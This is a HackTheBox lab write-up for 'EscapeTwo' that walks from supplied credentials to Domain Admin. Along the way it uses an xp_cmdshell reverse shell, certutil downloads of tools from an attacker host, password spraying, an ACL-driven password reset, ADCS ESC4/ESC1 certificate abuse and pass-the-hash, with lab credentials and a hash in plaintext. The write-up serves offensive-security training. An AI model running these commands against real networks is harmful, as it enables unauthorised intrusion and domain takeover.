Skip to content

EscapeTwo

Field Value
Platform HackTheBox
OS Windows (Domain Controller)
Difficulty Easy
Initial Vector Provided creds → SMB Accounting share → corrupted XLSX repair → MSSQL sa → xp_cmdshell → sql_svc creds
Privesc WriteOwner on ca_svc → ADCS ESC4 → template rewrite → ESC1 → Administrator hash → Pass-the-Hash

Note: This machine provides starting credentials: rose : KxEPkKe6R8su


Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.232.128 -n -Pn -oG ports
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49693,49694,49695,49710,49726,49736,55235 --min-rate 5000 10.129.232.128 -n -Pn -oN scan
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-30 13:59:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, ...)
| ssl-cert: Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, ...)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: sequel.htb
|   DNS_Computer_Name: DC01.sequel.htb
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, ...)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, ...)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: -7s, deviation: 0s, median: -7s
Port Service Version Notes
53 DNS Simple DNS Plus Domain: sequel.htb
88 Kerberos DC confirmed; hostname DC01
139/445 SMB Signing required
389/636/3268/3269 LDAP/LDAPS SAN confirms DC01.sequel.htb
1433 MSSQL SQL Server 2019 RTM Running on the DC
5985 WinRM HTTPAPI 2.0 Shell entry point once creds obtained
9389 mc-nmf .NET Message Framing AD Web Services

Clock skew was only -7 seconds — no synchronization needed.

echo "10.129.232.128 sequel.htb DC01.sequel.htb" >> /etc/hosts

Phase 2 — Service Enumeration

SMB (445)

Null session and Guest were both fully denied — including RID brute-force and RPC enumeration. No anonymous access was possible from this vector:

nxc smb 10.129.232.128 -u '' -p '' --shares
nxc smb 10.129.232.128 -u 'guest' -p '' --shares
Screenshot
nxc smb 10.129.232.128 -u '' -p '' --users --rid-brute
nxc smb 10.129.232.128 -u 'guest' -p '' --users --rid-brute
rpcclient -U "" -N 10.129.232.128 -c "enumdomusers"
Screenshot

We couldn't enumerate any users by RPC or --rid-brute as guest or null. I forgot that the machine info is giving us some initial credentials xd — rose / KxEPkKe6R8su

Enumerating again with the provided credentials. Building a user list via RID brute:

nxc smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --users --rid-brute | grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt

Screenshot
Screenshot
nxc smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --shares
Screenshot

rose can read IPC$, NETLOGON, SYSVOL, Users, and Accounting Department. The last one looks interesting:

smbclient //10.129.232.128/'Accounting Department' -U sequel.htb/rose%KxEPkKe6R8su
Screenshot

We find two xlsx files: accounting_2024.xlsx and accounts.xlsx. Trying to open accounts.xlsx — seems to be broken:

Screenshot

Actually both of them seem corrupted:

Screenshot

Using file to inspect them confirms they are ZIP archives — .xlsx files are actually ZIP archives containing XML files structured according to the Office Open XML standard. Trying to unzip:

unzip accounts.xlsx
# Archive:  accounts.xlsx
# file #1:  bad zipfile offset (local header sig):  0
Screenshot

Checking the magic bytes with a hex editor — the file shows 50 48 04 03 but the correct ZIP magic bytes for xlsx files should be 50 4B 03 04:

Screenshot

Easy fix — patch those 4 bytes at offset 0 with dd:

printf '\x50\x4B\x03\x04' | dd of=accounts.xlsx bs=1 seek=0 conv=notrunc
xxd accounts.xlsx | head -1
Screenshot

Fixed! Now we can open the file and see the account credentials inside. Among them: sa : MSSQLP@ssw0rd! — an sa account for SQL Server. Let's try to connect:

mssqlclient.py sequel.htb/[email protected]

MSSQL (1433)

Enumerating databases, tables, and privileges:

enum_db
SELECT table_catalog, table_schema, table_name FROM information_schema.tables ORDER BY table_catalog;
xp_dirtree \
SELECT IS_SRVROLEMEMBER('sysadmin');
Screenshot

No interesting databases — all tables are from master. However, we have sysadmin privileges. Let's enable and abuse xp_cmdshell:

EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Screenshot

Enabled — we are running as sql_svc. Let's send ourselves a reverse shell:

rlwrap nc -nvlp 3312
EXEC xp_cmdshell 'powershell -e <base64encoded payload>';
Screenshot
Screenshot

Shell obtained. Navigating to C:\SQL2019\ExpressAdv_ENU we find sql-Configuration.INI:

SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"

Alternatively this same information can be retrieved directly from the MSSQL shell:

SELECT * FROM OPENROWSET(BULK N'C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI', SINGLE_CLOB) AS Contents
Screenshot

Now that we have those credentials, let's password spray that password against our users.txt wordlist:

nxc smb 10.129.232.128 -u users.txt -p 'WqSZAF6CysDQbGb3'
# [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

Those are valid credentials for user ryan. Let's check WinRM:

nxc winrm 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
# [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

ryan is part of Remote Management Users. Credentials confirmed: ryan : WqSZAF6CysDQbGb3.


WinRM (5985)

evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
Screenshot

The user flag is located at C:\Users\ryan\Desktop\user.txt.


Phase 3 — Attack Path

Initial Access

Shell obtained as ryan via WinRM using credentials found in sql-Configuration.INI — a SQL Server installation config file left on disk. The sa account from the repaired XLSX file enabled MSSQL access, xp_cmdshell provided a reverse shell as sql_svc, and filesystem browsing exposed the configuration file.

Post-Shell Enumeration — BloodHound + winPEAS

I uploaded winPEAS and ran BloodHound simultaneously:

certutil -urlcache -f http://10.10.14.2:9091/winPEASx64.exe winPEASx64.exe
.\winPEASx64.exe
nxc ldap 10.129.232.128 -u 'ryan' -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.129.232.128
Screenshot

WinPEAS found certificates used for client authentication. BloodHound revealed that ryan has WriteOwner permissions over ca_svc — meaning we can take ownership of that account and then change its password.

Lateral Movement — WriteOwner → ca_svc

Let's upload PowerView and abuse the WriteOwner edge to set ryan as the owner of ca_svc, grant reset password rights, and change ca_svc's password:

certutil -urlcache -f http://10.10.14.2:9091/PowerView.ps1 PowerView.ps1
Import-Module .\PowerView.ps1

# Set ryan as owner of ca_svc
Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan"

# Grant ryan the right to reset ca_svc's password
Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"

# Change ca_svc's password
$BadPassword = ConvertTo-SecureString "Kasan3Hackt0!" -AsPlainText -Force
Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $BadPassword

Confirming with nxc:

nxc smb 10.129.232.128 -u 'ca_svc' -p 'Kasan3Hackt0!'
Screenshot
Screenshot

Credentials confirmed: ca_svc : Kasan3Hackt0!.

Privilege Escalation — ADCS ESC4

Now let's enumerate vulnerable certificates with ca_svc:

certipy-ad find -u '[email protected]' -p 'Kasan3Hackt0!' -dc-ip 10.129.232.128 -stdout
Screenshot

We find ESC4 — a Write ACL on the template (WriteDacl / WriteOwner) that allows modifying the template to enable ESC1 (arbitrary SAN). The flow is: rewrite the template configuration to enable arbitrary SAN, then proceed as ESC1 to request a certificate impersonating [email protected].

# 1. Rewrite the template to enable arbitrary SAN (turns it into ESC1)
certipy-ad template -u '[email protected]' -p 'Kasan3Hackt0!' -dc-ip 10.129.232.128 -template 'DunderMifflinAuthentication' -write-default-configuration

# 2. Request certificate impersonating Administrator
certipy-ad req -u '[email protected]' -p 'Kasan3Hackt0!' -dc-ip 10.129.232.128 -ca 'sequel-DC01-CA' -template 'DunderMifflinAuthentication' -upn '[email protected]'

# 3. Authenticate with the PFX to recover the Administrator NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.128

# 4. Restore the template to its original state
certipy-ad template -u '[email protected]' -p 'Kasan3Hackt0!' -dc-ip 10.129.232.128 -template 'DunderMifflinAuthentication' -write-configuration DunderMifflinAuthentication.json
Screenshot

Administrator NT hash recovered. Now we pass the hash with evil-winrm:

evil-winrm -i 10.129.232.128 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Screenshot

Shell obtained as sequel\Administrator. Root flag retrieved from C:\Users\Administrator\Desktop\root.txt.


Flags

Flag Path Value
User C:\Users\ryan\Desktop\user.txt FLAG{REDACTED}
Root C:\Users\Administrator\Desktop\root.txt FLAG{REDACTED}

Conclusion

  1. A two-phase Nmap scan identified a Windows DC with MSSQL on 1433 and the standard AD stack; the domain sequel.htb and hostname DC01.sequel.htb were confirmed via LDAP SAN and MSSQL NTLM info. Starting credentials were rose : KxEPkKe6R8su.
  2. Null and Guest SMB sessions were fully blocked; rose had read access to Accounting Department containing two corrupted XLSX files; patching the ZIP magic bytes (50 4B 03 04) at offset 0 with dd repaired them, revealing credentials including sa : MSSQLP@ssw0rd!.
  3. mssqlclient.py authenticated as sa with sysadmin rights; xp_cmdshell was enabled and a reverse shell obtained as sql_svc; sql-Configuration.INI in C:\SQL2019\ExpressAdv_ENU contained sql_svc : WqSZAF6CysDQbGb3; password spraying identified ryan : WqSZAF6CysDQbGb3 with WinRM access and the user flag.
  4. BloodHound revealed ryan had WriteOwner over ca_svc; PowerView set ryan as owner, granted ResetPassword, and changed ca_svc's password to ca_svc : Kasan3Hackt0!.
  5. certipy-ad find identified ESC4 on the DunderMifflinAuthentication template; -write-default-configuration rewrote the template to allow arbitrary SAN; a certificate impersonating [email protected] was requested; certipy-ad auth extracted the Administrator NT hash; Pass-the-Hash via evil-winrm delivered Domain Admin access and the root flag. Template was then restored to its original state.

The system fell because a public XLSX file with corrupted magic bytes concealed MSSQL credentials, a sysadmin SQL account allowed OS command execution, a configuration file preserved plaintext service account credentials, and a domain account held WriteOwner over a CA service account — enabling a chain from MSSQL to ADCS ESC4 without ever needing to crack a hash.